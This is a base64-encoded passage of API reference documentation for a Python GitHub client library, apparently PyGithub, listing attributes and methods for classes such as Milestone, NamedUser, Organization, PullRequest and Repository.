bgotLS0tLS0tLQoqIGBk\nZWxldGUoKWAKCk1vZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0KKiBgZWRpdCgg\nbmFtZSwgY29sb3IgKWAKICAgICogYG5hbWVgOiBzdHJpbmcKICAgICogYGNv\nbG9yYDogc3RyaW5nCgpDbGFzcyBgTWlsZXN0b25lYAo9PT09PT09PT09PT09\nPT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNsb3NlZF9pc3N1ZXNg\nOiBpbnRlZ2VyCiogYGNyZWF0ZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoq\nIGBjcmVhdG9yYDogYE5hbWVkVXNlcmAKKiBgZGVzY3JpcHRpb25gOiBzdHJp\nbmcKKiBgZHVlX29uYDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgaWRgOiBpbnRl\nZ2VyCiogYG51bWJlcmA6IGludGVnZXIKKiBgb3Blbl9pc3N1ZXNgOiBpbnRl\nZ2VyCiogYHN0YXRlYDogc3RyaW5nCiogYHRpdGxlYDogc3RyaW5nCiogYHVy\nbGA6IHN0cmluZwoKRGVsZXRpb24KLS0tLS0tLS0KKiBgZGVsZXRlKClgCgpM\nYWJlbHMKLS0tLS0tCiogYGdldF9sYWJlbHMoKWA6IGBQYWdpbmF0ZWRMaXN0\nYCBvZiBgTGFiZWxgCgpNb2RpZmljYXRpb24KLS0tLS0tLS0tLS0tCiogYGVk\naXQoIHRpdGxlLCBbc3RhdGUsIGRlc2NyaXB0aW9uLCBkdWVfb25dIClgCiAg\nICAqIGB0aXRsZWA6IHN0cmluZwogICAgKiBgc3RhdGVgOiBzdHJpbmcKICAg\nICogYGRlc2NyaXB0aW9uYDogc3RyaW5nCiAgICAqIGBkdWVfb25gOiBkYXRl\nCgpDbGFzcyBgTmFtZWRVc2VyYAo9PT09PT09PT09PT09PT09PQoKQXR0cmli\ndXRlcwotLS0tLS0tLS0tCiogYGF2YXRhcl91cmxgOiBzdHJpbmcKKiBgYmlv\nYDogc3RyaW5nCiogYGJsb2dgOiBzdHJpbmcKKiBgY29sbGFib3JhdG9yc2A6\nIGludGVnZXIKKiBgY29tcGFueWA6IHN0cmluZwoqIGBjb250cmlidXRpb25z\nYDogaW50ZWdlcgoqIGBjcmVhdGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUK\nKiBgZGlza191c2FnZWA6IGludGVnZXIKKiBgZW1haWxgOiBzdHJpbmcKKiBg\nZm9sbG93ZXJzYDogaW50ZWdlcgoqIGBmb2xsb3dpbmdgOiBpbnRlZ2VyCiog\nYGdyYXZhdGFyX2lkYDogc3RyaW5nCiogYGhpcmVhYmxlYDogYm9vbAoqIGBo\ndG1sX3VybGA6IHN0cmluZwoqIGBpZGA6IGludGVnZXIKKiBgbG9jYXRpb25g\nOiBzdHJpbmcKKiBgbG9naW5gOiBzdHJpbmcKKiBgbmFtZWA6IHN0cmluZwoq\nIGBvd25lZF9wcml2YXRlX3JlcG9zYDogaW50ZWdlcgoqIGBwbGFuYDogYFBs\nYW5gCiogYHByaXZhdGVfZ2lzdHNgOiBpbnRlZ2VyCiogYHB1YmxpY19naXN0\nc2A6IGludGVnZXIKKiBgcHVibGljX3JlcG9zYDogaW50ZWdlcgoqIGB0b3Rh\nbF9wcml2YXRlX3JlcG9zYDogaW50ZWdlcgoqIGB0eXBlYDogc3RyaW5nCiog\nYHVybGA6IHN0cmluZwoKRXZlbnRzCi0tLS0tLQoqIGBnZXRfZXZlbnRzKClg\nOiBgUGFnaW5hdGVkTGlzdGAgb2YgYEV2ZW50YAoqIGBnZXRfcHVibGljX2V2\nZW50cygpYDogYFBhZ2luYXRlZExpc3RgIG9mIGBFdmVudGAKKiBgZ2V0X3Jl\nY2VpdmVkX2V2ZW50cygpYDogYFBhZ2luYXRlZExpc3RgIG9mIGBFdmVudGAK\nKiBgZ2V0X3B1YmxpY19yZWNlaXZlZF9ldmVudHMoKWA6IGBQYWdpbmF0ZWRM\naXN0YCBvZiBgRXZlbnRgCgpGb2xsb3dlcnMKLS0tLS0tLS0tCiogYGdldF9m\nb2xsb3dlcnMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgTmFtZWRVc2VyYAoK\nRm9sbG93aW5nCi0tLS0tLS0tLQoqIGBnZXRfZm9sbG93aW5nKClgOiBgUGFn\naW5hdGVkTGlzdGAgb2YgYE5hbWVkVXNlcmAKCkdpc3RzCi0tLS0tCiogYGNy\nZWF0ZV9naXN0KCBwdWJsaWMsIGZpbGVzLCBbZGVzY3JpcHRpb25dIClgOiBg\nR2lzdGAKICAgICogYHB1YmxpY2A6IGJvb2wKICAgICogYGZpbGVzYDogZGlj\ndCBvZiBzdHJpbmcgdG8gYElucHV0RmlsZUNvbnRlbnRgCiAgICAqIGBkZXNj\ncmlwdGlvbmA6IHN0cmluZwoqIGBnZXRfZ2lzdHMoKWA6IGBQYWdpbmF0ZWRM\naXN0YCBvZiBgR2lzdGAKCk9yZ3MKLS0tLQoqIGBnZXRfb3JncygpYDogYFBh\nZ2luYXRlZExpc3RgIG9mIGBPcmdhbml6YXRpb25gCgpSZXBvcwotLS0tLQoq\nIGBnZXRfcmVwbyggbmFtZSApYDogYFJlcG9zaXRvcnlgCiAgICAqIGBuYW1l\nYDogc3RyaW5nCiogYGdldF9yZXBvcyggW3R5cGVdIClgOiBgUGFnaW5hdGVk\nTGlzdGAgb2YgYFJlcG9zaXRvcnlgCiAgICAqIGB0eXBlYDogc3RyaW5nCgpT\ndGFycmVkCi0tLS0tLS0KKiBgZ2V0X3N0YXJyZWQoKWA6IGBQYWdpbmF0ZWRM\naXN0YCBvZiBgUmVwb3NpdG9yeWAKClN1YnNjcmlwdGlvbnMKLS0tLS0tLS0t\nLS0tLQoqIGBnZXRfc3Vic2NyaXB0aW9ucygpYDogYFBhZ2luYXRlZExpc3Rg\nIG9mIGBSZXBvc2l0b3J5YAoKV2F0Y2hlZAotLS0tLS0tCiogYGdldF93YXRj\naGVkKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYFJlcG9zaXRvcnlgCgpDbGFz\ncyBgT3JnYW5pemF0aW9uYAo9PT09PT09PT09PT09PT09PT09PQoKQXR0cmli\ndXRlcwotLS0tLS0tLS0tCiogYGF2YXRhcl91cmxgOiBzdHJpbmcKKiBgYmls\nbGluZ19lbWFpbGA6IHN0cmluZwoqIGBibG9nYDogc3RyaW5nCiogYGNvbGxh\nYm9yYXRvcnNgOiBpbnRlZ2VyCiogYGNvbXBhbnlgOiBzdHJpbmcKKiBgY3Jl\nYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGRpc2tfdXNhZ2VgOiBp\nbnRlZ2VyCiogYGVtYWlsYDogc3RyaW5nCiogYGZvbGxvd2Vyc2A6IGludGVn\nZXIKKiBgZm9sbG93aW5nYDogaW50ZWdlcgoqIGBncmF2YXRhcl9pZGA6IHN0\ncmluZwoqIGBodG1sX3VybGA6IHN0cmluZwoqIGBpZGA6IGludGVnZXIKKiBg\nbG9jYXRpb25gOiBzdHJpbmcKKiBgbG9naW5gOiBzdHJpbmcKKiBgbmFtZWA6\nIHN0cmluZwoqIGBvd25lZF9wcml2YXRlX3JlcG9zYDogaW50ZWdlcgoqIGBw\nbGFuYDogYFBsYW5gCiogYHByaXZhdGVfZ2lzdHNgOiBpbnRlZ2VyCiogYHB1\nYmxpY19naXN0c2A6IGludGVnZXIKKiBgcHVibGljX3JlcG9zYDogaW50ZWdl\ncgoqIGB0b3RhbF9wcml2YXRlX3JlcG9zYDogaW50ZWdlcgoqIGB0eXBlYDog\nc3RyaW5nCiogYHVybGA6IHN0cmluZwoKRXZlbnRzCi0tLS0tLQoqIGBnZXRf\nZXZlbnRzKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYEV2ZW50YAoKRm9ya2lu\nZwotLS0tLS0tCiogYGNyZWF0ZV9mb3JrKCByZXBvIClgOiBgUmVwb3NpdG9y\neWAKICAgICogYHJlcG9gOiBgUmVwb3NpdG9yeWAKCk1lbWJlcnMKLS0tLS0t\nLQoqIGBnZXRfbWVtYmVycygpYDogYFBhZ2luYXRlZExpc3RgIG9mIGBOYW1l\nZFVzZXJgCiogYGhhc19pbl9tZW1iZXJzKCBtZW1iZXIgKWA6IGJvb2wKICAg\nICogYG1lbWJlcmA6IGBOYW1lZFVzZXJgCiogYHJlbW92ZV9mcm9tX21lbWJl\ncnMoIG1lbWJlciApYAogICAgKiBgbWVtYmVyYDogYE5hbWVkVXNlcmAKCk1v\nZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0KKiBgZWRpdCggW2JpbGxpbmdfZW1h\naWwsIGJsb2csIGNvbXBhbnksIGVtYWlsLCBsb2NhdGlvbiwgbmFtZV0gKWAK\nICAgICogYGJpbGxpbmdfZW1haWxgOiBzdHJpbmcKICAgICogYGJsb2dgOiBz\ndHJpbmcKICAgICogYGNvbXBhbnlgOiBzdHJpbmcKICAgICogYGVtYWlsYDog\nc3RyaW5nCiAgICAqIGBsb2NhdGlvbmA6IHN0cmluZwogICAgKiBgbmFtZWA6\nIHN0cmluZwoKUHVibGljX21lbWJlcnMKLS0tLS0tLS0tLS0tLS0KKiBgYWRk\nX3RvX3B1YmxpY19tZW1iZXJzKCBwdWJsaWNfbWVtYmVyIClgCiAgICAqIGBw\ndWJsaWNfbWVtYmVyYDogYE5hbWVkVXNlcmAKKiBgZ2V0X3B1YmxpY19tZW1i\nZXJzKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYE5hbWVkVXNlcmAKKiBgaGFz\nX2luX3B1YmxpY19tZW1iZXJzKCBwdWJsaWNfbWVtYmVyIClgOiBib29sCiAg\nICAqIGBwdWJsaWNfbWVtYmVyYDogYE5hbWVkVXNlcmAKKiBgcmVtb3ZlX2Zy\nb21fcHVibGljX21lbWJlcnMoIHB1YmxpY19tZW1iZXIgKWAKICAgICogYHB1\nYmxpY19tZW1iZXJgOiBgTmFtZWRVc2VyYAoKUmVwb3MKLS0tLS0KKiBgY3Jl\nYXRlX3JlcG8oIG5hbWUsIFtkZXNjcmlwdGlvbiwgaG9tZXBhZ2UsIHByaXZh\ndGUsIGhhc19pc3N1ZXMsIGhhc193aWtpLCBoYXNfZG93bmxvYWRzLCB0ZWFt\nX2lkLCBhdXRvX2luaXQsIGdpdGlnbm9yZV90ZW1wbGF0ZV0gKWA6IGBSZXBv\nc2l0b3J5YAogICAgKiBgbmFtZWA6IHN0cmluZwogICAgKiBgZGVzY3JpcHRp\nb25gOiBzdHJpbmcKICAgICogYGhvbWVwYWdlYDogc3RyaW5nCiAgICAqIGBw\ncml2YXRlYDogYm9vbAogICAgKiBgaGFzX2lzc3Vlc2A6IGJvb2wKICAgICog\nYGhhc193aWtpYDogYm9vbAogICAgKiBgaGFzX2Rvd25sb2Fkc2A6IGJvb2wK\nICAgICogYHRlYW1faWRgOiBgVGVhbWAKICAgICogYGF1dG9faW5pdGA6IGJv\nb2wKICAgICogYGdpdGlnbm9yZV90ZW1wbGF0ZWA6IHN0cmluZwoqIGBnZXRf\ncmVwbyggbmFtZSApYDogYFJlcG9zaXRvcnlgCiAgICAqIGBuYW1lYDogc3Ry\naW5nCiogYGdldF9yZXBvcyggW3R5cGVdIClgOiBgUGFnaW5hdGVkTGlzdGAg\nb2YgYFJlcG9zaXRvcnlgCiAgICAqIGB0eXBlYDogc3RyaW5nCgpUZWFtcwot\nLS0tLQoqIGBjcmVhdGVfdGVhbSggbmFtZSwgW3JlcG9fbmFtZXMsIHBlcm1p\nc3Npb25dIClgOiBgVGVhbWAKICAgICogYG5hbWVgOiBzdHJpbmcKICAgICog\nYHJlcG9fbmFtZXNgOiBsaXN0IG9mIGBSZXBvc2l0b3J5YAogICAgKiBgcGVy\nbWlzc2lvbmA6IHN0cmluZwoqIGBnZXRfdGVhbSggaWQgKWA6IGBUZWFtYAog\nICAgKiBgaWRgOiBpbnRlZ2VyCiogYGdldF90ZWFtcygpYDogYFBhZ2luYXRl\nZExpc3RgIG9mIGBUZWFtYAoKQ2xhc3MgYFBlcm1pc3Npb25zYAo9PT09PT09\nPT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgYWRtaW5g\nOiBib29sCiogYHB1bGxgOiBib29sCiogYHB1c2hgOiBib29sCgpDbGFzcyBg\nUGxhbmAKPT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBg\nY29sbGFib3JhdG9yc2A6IGludGVnZXIKKiBgbmFtZWA6IHN0cmluZwoqIGBw\ncml2YXRlX3JlcG9zYDogaW50ZWdlcgoqIGBzcGFjZWA6IGludGVnZXIKCkNs\nYXNzIGBQdWxsUmVxdWVzdGAKPT09PT09PT09PT09PT09PT09PQoKQXR0cmli\ndXRlcwotLS0tLS0tLS0tCiogYGFkZGl0aW9uc2A6IGludGVnZXIKKiBgYXNz\naWduZWVgOiBgTmFtZWRVc2VyYAoqIGBiYXNlYDogYFB1bGxSZXF1ZXN0UGFy\ndGAKKiBgYm9keWA6IHN0cmluZwoqIGBjaGFuZ2VkX2ZpbGVzYDogaW50ZWdl\ncgoqIGBjbG9zZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBjb21tZW50\nc2A6IGludGVnZXIKKiBgY29tbWl0c2A6IGludGVnZXIKKiBgY3JlYXRlZF9h\ndGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGRlbGV0aW9uc2A6IGludGVnZXIK\nKiBgZGlmZl91cmxgOiBzdHJpbmcKKiBgaGVhZGA6IGBQdWxsUmVxdWVzdFBh\ncnRgCiogYGh0bWxfdXJsYDogc3RyaW5nCiogYGlkYDogaW50ZWdlcgoqIGBp\nc3N1ZV91cmxgOiBzdHJpbmcKKiBgbWVyZ2VhYmxlYDogYm9vbAoqIGBtZXJn\nZWRgOiBib29sCiogYG1lcmdlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiog\nYG1lcmdlZF9ieWA6IGBOYW1lZFVzZXJgCiogYG51bWJlcmA6IGludGVnZXIK\nKiBgcGF0Y2hfdXJsYDogc3RyaW5nCiogYHJldmlld19jb21tZW50c2A6IGlu\ndGVnZXIKKiBgc3RhdGVgOiBzdHJpbmcKKiBgdGl0bGVgOiBzdHJpbmcKKiBg\ndXBkYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYHVybGA6IHN0cmlu\nZwoqIGB1c2VyYDogYE5hbWVkVXNlcmAKClJldmlldyBjb21tZW50cwotLS0t\nLS0tLS0tLS0tLS0KKiBgY3JlYXRlX2NvbW1lbnQoIGJvZHksIGNvbW1pdF9p\nZCwgcGF0aCwgcG9zaXRpb24gKWA6IGBQdWxsUmVxdWVzdENvbW1lbnRgCiAg\nICAqIGBib2R5YDogc3RyaW5nCiAgICAqIGBjb21taXRfaWRgOiBgQ29tbWl0\nYAogICAgKiBgcGF0aGA6IHN0cmluZwogICAgKiBgcG9zaXRpb25gOiBpbnRl\nZ2VyCiogYGNyZWF0ZV9yZXZpZXdfY29tbWVudCggYm9keSwgY29tbWl0X2lk\nLCBwYXRoLCBwb3NpdGlvbiApYDogYFB1bGxSZXF1ZXN0Q29tbWVudGAKICAg\nICogYGJvZHlgOiBzdHJpbmcKICAgICogYGNvbW1pdF9pZGA6IGBDb21taXRg\nCiAgICAqIGBwYXRoYDogc3RyaW5nCiAgICAqIGBwb3NpdGlvbmA6IGludGVn\nZXIKKiBgZ2V0X2NvbW1lbnQoIGlkIClgOiBgUHVsbFJlcXVlc3RDb21tZW50\nYAogICAgKiBgaWRgOiBpbnRlZ2VyCiogYGdldF9yZXZpZXdfY29tbWVudCgg\naWQgKWA6IGBQdWxsUmVxdWVzdENvbW1lbnRgCiAgICAqIGBpZGA6IGludGVn\nZXIKKiBgZ2V0X2NvbW1lbnRzKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYFB1\nbGxSZXF1ZXN0Q29tbWVudGAKKiBgZ2V0X3Jldmlld19jb21tZW50cygpYDog\nYFBhZ2luYXRlZExpc3RgIG9mIGBQdWxsUmVxdWVzdENvbW1lbnRgCgpDb21t\naXRzCi0tLS0tLS0KKiBgZ2V0X2NvbW1pdHMoKWA6IGBQYWdpbmF0ZWRMaXN0\nYCBvZiBgQ29tbWl0YAoKRmlsZXMKLS0tLS0KKiBgZ2V0X2ZpbGVzKClgOiBg\nUGFnaW5hdGVkTGlzdGAgb2YgYEZpbGVgCgpJc3N1ZV9jb21tZW50cwotLS0t\nLS0tLS0tLS0tLQoqIGBjcmVhdGVfaXNzdWVfY29tbWVudCggYm9keSApYDog\nYElzc3VlQ29tbWVudGAKICAgICogYGJvZHlgOiBzdHJpbmcKKiBgZ2V0X2lz\nc3VlX2NvbW1lbnQoIGlkIClgOiBgSXNzdWVDb21tZW50YAogICAgKiBgaWRg\nOiBpbnRlZ2VyCiogYGdldF9pc3N1ZV9jb21tZW50cygpYDogYFBhZ2luYXRl\nZExpc3RgIG9mIGBJc3N1ZUNvbW1lbnRgCgpNZXJnaW5nCi0tLS0tLS0KKiBg\naXNfbWVyZ2VkKClgOiBib29sCiogYG1lcmdlKCBbY29tbWl0X21lc3NhZ2Vd\nIClgOiBgUHVsbFJlcXVlc3RNZXJnZVN0YXR1c2AKICAgICogYGNvbW1pdF9t\nZXNzYWdlYDogc3RyaW5nCgpNb2RpZmljYXRpb24KLS0tLS0tLS0tLS0tCiog\nYGVkaXQoIFt0aXRsZSwgYm9keSwgc3RhdGVdIClgCiAgICAqIGB0aXRsZWA6\nIHN0cmluZwogICAgKiBgYm9keWA6IHN0cmluZwogICAgKiBgc3RhdGVgOiBz\ndHJpbmcKCkNsYXNzIGBQdWxsUmVxdWVzdENvbW1lbnRgCj09PT09PT09PT09\nPT09PT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgYm9k\neWA6IHN0cmluZwoqIGBjb21taXRfaWRgOiBzdHJpbmcKKiBgY3JlYXRlZF9h\ndGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGlkYDogaW50ZWdlcgoqIGBvcmln\naW5hbF9jb21taXRfaWRgOiBzdHJpbmcKKiBgb3JpZ2luYWxfcG9zaXRpb25g\nOiBpbnRlZ2VyCiogYHBhdGhgOiBzdHJpbmcKKiBgcG9zaXRpb25gOiBpbnRl\nZ2VyCiogYHVwZGF0ZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGB1cmxg\nOiBzdHJpbmcKKiBgdXNlcmA6IGBOYW1lZFVzZXJgCgpEZWxldGlvbgotLS0t\nLS0tLQoqIGBkZWxldGUoKWAKCk1vZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0K\nKiBgZWRpdCggYm9keSApYAogICAgKiBgYm9keWA6IHN0cmluZwoKQ2xhc3Mg\nYFB1bGxSZXF1ZXN0TWVyZ2VTdGF0dXNgCj09PT09PT09PT09PT09PT09PT09\nPT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYG1lcmdlZGA6\nIGJvb2wKKiBgbWVzc2FnZWA6IHN0cmluZwoqIGBzaGFgOiBzdHJpbmcKCkNs\nYXNzIGBQdWxsUmVxdWVzdFBhcnRgCj09PT09PT09PT09PT09PT09PT09PT09\nCgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgbGFiZWxgOiBzdHJpbmcKKiBg\ncmVmYDogc3RyaW5nCiogYHJlcG9gOiBgUmVwb3NpdG9yeWAKKiBgc2hhYDog\nc3RyaW5nCiogYHVzZXJgOiBgTmFtZWRVc2VyYAoKQ2xhc3MgYFJlcG9zaXRv\ncnlgCj09PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0t\nCiogYGNsb25lX3VybGA6IHN0cmluZwoqIGBjcmVhdGVkX2F0YDogZGF0ZXRp\nbWUuZGF0ZXRpbWUKKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcKKiBgZm9ya2A6\nIGJvb2wKKiBgZm9ya3NgOiBpbnRlZ2VyCiogYGZ1bGxfbmFtZWA6IHN0cmlu\nZwoqIGBnaXRfdXJsYDogc3RyaW5nCiogYGhhc19kb3dubG9hZHNgOiBib29s\nCiogYGhhc19pc3N1ZXNgOiBib29sCiogYGhhc193aWtpYDogYm9vbAoqIGBo\nb21lcGFnZWA6IHN0cmluZwoqIGBodG1sX3VybGA6IHN0cmluZwoqIGBpZGA6\nIGludGVnZXIKKiBgbGFuZ3VhZ2VgOiBzdHJpbmcKKiBgbWFzdGVyX2JyYW5j\naGA6IHN0cmluZwoqIGBuYW1lYDogc3RyaW5nCiogYG9wZW5faXNzdWVzYDog\naW50ZWdlcgoqIGBvcmdhbml6YXRpb25gOiBgT3JnYW5pemF0aW9uYAoqIGBv\nd25lcmA6IGBOYW1lZFVzZXJgCiogYHBhcmVudGA6IGBSZXBvc2l0b3J5YAoq\nIGBwZXJtaXNzaW9uc2A6IGBQZXJtaXNzaW9uc2AKKiBgcHJpdmF0ZWA6IGJv\nb2wKKiBgcHVzaGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgc2l6ZWA6\nIGludGVnZXIKKiBgc291cmNlYDogYFJlcG9zaXRvcnlgCiogYHNzaF91cmxg\nOiBzdHJpbmcKKiBgc3ZuX3VybGA6IHN0cmluZwoqIGB1cGRhdGVkX2F0YDog\nZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgdXJsYDogc3RyaW5nCiogYHdhdGNoZXJz\nYDogaW50ZWdlcgoKQ29tcGFyaXNvbgotLS0tLS0tLS0tCiogYGNvbXBhcmUo\nIGJhc2UsIGhlYWQgKWA6IGBDb21wYXJpc29uYAogICAgKiBgYmFzZWA6IHN0\ncmluZwogICAgKiBgaGVhZGA6IHN0cmluZwoKQXNzaWduZWVzCi0tLS0tLS0t\nLQoqIGBnZXRfYXNzaWduZWVzKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYE5h\nbWVkVXNlcmAKKiBgaGFzX2luX2Fzc2lnbmVlcyggYXNzaWduZWUgKWA6IGJv\nb2wKICAgICogYGFzc2lnbmVlYDogYE5hbWVkVXNlcmAKCkJyYW5jaGVzCi0t\nLS0tLS0tCiogYGdldF9icmFuY2goIGJyYW5jaCApYDogYEJyYW5jaGAKICAg\nICogYGJyYW5jaGA6IHN0cmluZwoqIGBnZXRfYnJhbmNoZXMoKWA6IGBQYWdp\nbmF0ZWRMaXN0YCBvZiBgQnJhbmNoYAoKQ29sbGFib3JhdG9ycwotLS0tLS0t\nLS0tLS0tCiogYGFkZF90b19jb2xsYWJvcmF0b3JzKCBjb2xsYWJvcmF0b3Ig\nKWAKICAgICogYGNvbGxhYm9yYXRvcmA6IGBOYW1lZFVzZXJgCiogYGdldF9j\nb2xsYWJvcmF0b3JzKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYE5hbWVkVXNl\ncmAKKiBgaGFzX2luX2NvbGxhYm9yYXRvcnMoIGNvbGxhYm9yYXRvciApYDog\nYm9vbAogICAgKiBgY29sbGFib3JhdG9yYDogYE5hbWVkVXNlcmAKKiBgcmVt\nb3ZlX2Zyb21fY29sbGFib3JhdG9ycyggY29sbGFib3JhdG9yIClgCiAgICAq\nIGBjb2xsYWJvcmF0b3JgOiBgTmFtZWRVc2VyYAoKQ29tbWVudHMKLS0tLS0t\nLS0KKiBgZ2V0X2NvbW1lbnQoIGlkIClgOiBgQ29tbWl0Q29tbWVudGAKICAg\nICogYGlkYDogaW50ZWdlcgoqIGBnZXRfY29tbWVudHMoKWA6IGBQYWdpbmF0\nZWRMaXN0YCBvZiBgQ29tbWl0Q29tbWVudGAKCkNvbW1pdHMKLS0tLS0tLQoq\nIGBnZXRfY29tbWl0KCBzaGEgKWA6IGBDb21taXRgCiAgICAqIGBzaGFgOiBz\ndHJpbmcKKiBgZ2V0X2NvbW1pdHMoIFtzaGEsIHBhdGhdIClgOiBgUGFnaW5h\ndGVkTGlzdGAgb2YgYENvbW1pdGAKICAgICogYHNoYWA6IHN0cmluZwogICAg\nKiBgcGF0aGA6IHN0cmluZwoKQ29udGVudHMKLS0tLS0tLS0KKiBgZ2V0X3Jl\nYWRtZSgpYDogYENvbnRlbnRGaWxlYAoqIGBnZXRfY29udGVudHMoIHBhdGgg\nKWA6IGBDb250ZW50RmlsZWAKICAgICogYHBhdGhgOiBzdHJpbmcKKiBgZ2V0\nX2FyY2hpdmVfbGluayggYXJjaGl2ZV9mb3JtYXQsIFtyZWZdIClgOiBzdHJp\nbmcKICAgICogYGFyY2hpdmVfZm9ybWF0YDogc3RyaW5nCiAgICAqIGByZWZg\nOiBzdHJpbmcKCkNvbnRyaWJ1dG9ycwotLS0tLS0tLS0tLS0KKiBgZ2V0X2Nv\nbnRyaWJ1dG9ycygpYDogYFBhZ2luYXRlZExpc3RgIG9mIGBOYW1lZFVzZXJg\nCgpEZWxldGlvbgotLS0tLS0tLQoqIGBkZWxldGUoKWAKCkRvd25sb2Fkcwot\nLS0tLS0tLS0KKiBgY3JlYXRlX2Rvd25sb2FkKCBuYW1lLCBzaXplLCBbZGVz\nY3JpcHRpb24sIGNvbnRlbnRfdHlwZV0gKWA6IGBEb3dubG9hZGAKICAgICog\nYG5hbWVgOiBzdHJpbmcKICAgICogYHNpemVgOiBpbnRlZ2VyCiAgICAqIGBk\nZXNjcmlwdGlvbmA6IHN0cmluZwogICAgKiBgY29udGVudF90eXBlYDogc3Ry\naW5nCiogYGdldF9kb3dubG9hZCggaWQgKWA6IGBEb3dubG9hZGAKICAgICog\nYGlkYDogaW50ZWdlcgoqIGBnZXRfZG93bmxvYWRzKClgOiBgUGFnaW5hdGVk\nTGlzdGAgb2YgYERvd25sb2FkYAoKRXZlbnRzCi0tLS0tLQoqIGBnZXRfZXZl\nbnRzKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYEV2ZW50YAoqIGBnZXRfbmV0\nd29ya19ldmVudHMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgRXZlbnRgCgpG\nb3JrcwotLS0tLQoqIGBnZXRfZm9ya3MoKWA6IGBQYWdpbmF0ZWRMaXN0YCBv\nZiBgUmVwb3NpdG9yeWAKCkdpdF9ibG9icwotLS0tLS0tLS0KKiBgY3JlYXRl\nX2dpdF9ibG9iKCBjb250ZW50LCBlbmNvZGluZyApYDogYEdpdEJsb2JgCiAg\nICAqIGBjb250ZW50YDogc3RyaW5nCiAgICAqIGBlbmNvZGluZ2A6IHN0cmlu\nZwoqIGBnZXRfZ2l0X2Jsb2IoIHNoYSApYDogYEdpdEJsb2JgCiAgICAqIGBz\naGFgOiBzdHJpbmcKCkdpdF9jb21taXRzCi0tLS0tLS0tLS0tCiogYGNyZWF0\nZV9naXRfY29tbWl0KCBtZXNzYWdlLCB0cmVlLCBwYXJlbnRzLCBbYXV0aG9y\nLCBjb21taXR0ZXJdIClgOiBgR2l0Q29tbWl0YAogICAgKiBgbWVzc2FnZWA6\nIHN0cmluZwogICAgKiBgdHJlZWA6IGBHaXRUcmVlYAogICAgKiBgcGFyZW50\nc2A6IGxpc3Qgb2YgYEdpdENvbW1pdGAKICAgICogYGF1dGhvcmA6IGBJbnB1\ndEdpdEF1dGhvcmAKICAgICogYGNvbW1pdHRlcmA6IGBJbnB1dEdpdEF1dGhv\ncmAKKiBgZ2V0X2dpdF9jb21taXQoIHNoYSApYDogYEdpdENvbW1pdGAKICAg\nICogYHNoYWA6IHN0cmluZwoKR2l0X3JlZnMKLS0tLS0tLS0KKiBgY3JlYXRl\nX2dpdF9yZWYoIHJlZiwgc2hhIClgOiBgR2l0UmVmYAogICAgKiBgcmVmYDog\nc3RyaW5nCiAgICAqIGBzaGFgOiBzdHJpbmcKKiBgZ2V0X2dpdF9yZWYoIHJl\nZiApYDogYEdpdFJlZmAKICAgICogYHJlZmA6IHN0cmluZwoqIGBnZXRfZ2l0\nX3JlZnMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgR2l0UmVmYAoKR2l0X3Rh\nZ3MKLS0tLS0tLS0KKiBgY3JlYXRlX2dpdF90YWcoIHRhZywgbWVzc2FnZSwg\nb2JqZWN0LCB0eXBlLCBbdGFnZ2VyXSApYDogYEdpdFRhZ2AKICAgICogYHRh\nZ2A6IHN0cmluZwogICAgKiBgbWVzc2FnZWA6IHN0cmluZwogICAgKiBgb2Jq\nZWN0YDogc3RyaW5nCiAgICAqIGB0eXBlYDogc3RyaW5nCiAgICAqIGB0YWdn\nZXJgOiBgSW5wdXRHaXRBdXRob3JgCiogYGdldF9naXRfdGFnKCBzaGEgKWA6\nIGBHaXRUYWdgCiAgICAqIGBzaGFgOiBzdHJpbmcKCkdpdF90cmVlcwotLS0t\nLS0tLS0KKiBgY3JlYXRlX2dpdF90cmVlKCB0cmVlLCBbYmFzZV90cmVlXSAp\nYDogYEdpdFRyZWVgCiAgICAqIGB0cmVlYDogbGlzdCBvZiBgSW5wdXRHaXRU\ncmVlRWxlbWVudGAKICAgICogYGJhc2VfdHJlZWA6IGBHaXRUcmVlYAoqIGBn\nZXRfZ2l0X3RyZWUoIHNoYSwgW3JlY3Vyc2l2ZV0gKWA6IGBHaXRUcmVlYAog\nICAgKiBgc2hhYDogc3RyaW5nCiAgICAqIGByZWN1cnNpdmVgOiBib29sCgpI\nb29rcwotLS0tLQoqIGBjcmVhdGVfaG9vayggbmFtZSwgY29uZmlnLCBbZXZl\nbnRzLCBhY3RpdmVdIClgOiBgSG9va2AKICAgICogYG5hbWVgOiBzdHJpbmcK\nICAgICogYGNvbmZpZ2A6IGRpY3QKICAgICogYGV2ZW50c2A6IGxpc3Qgb2Yg\nc3RyaW5nCiAgICAqI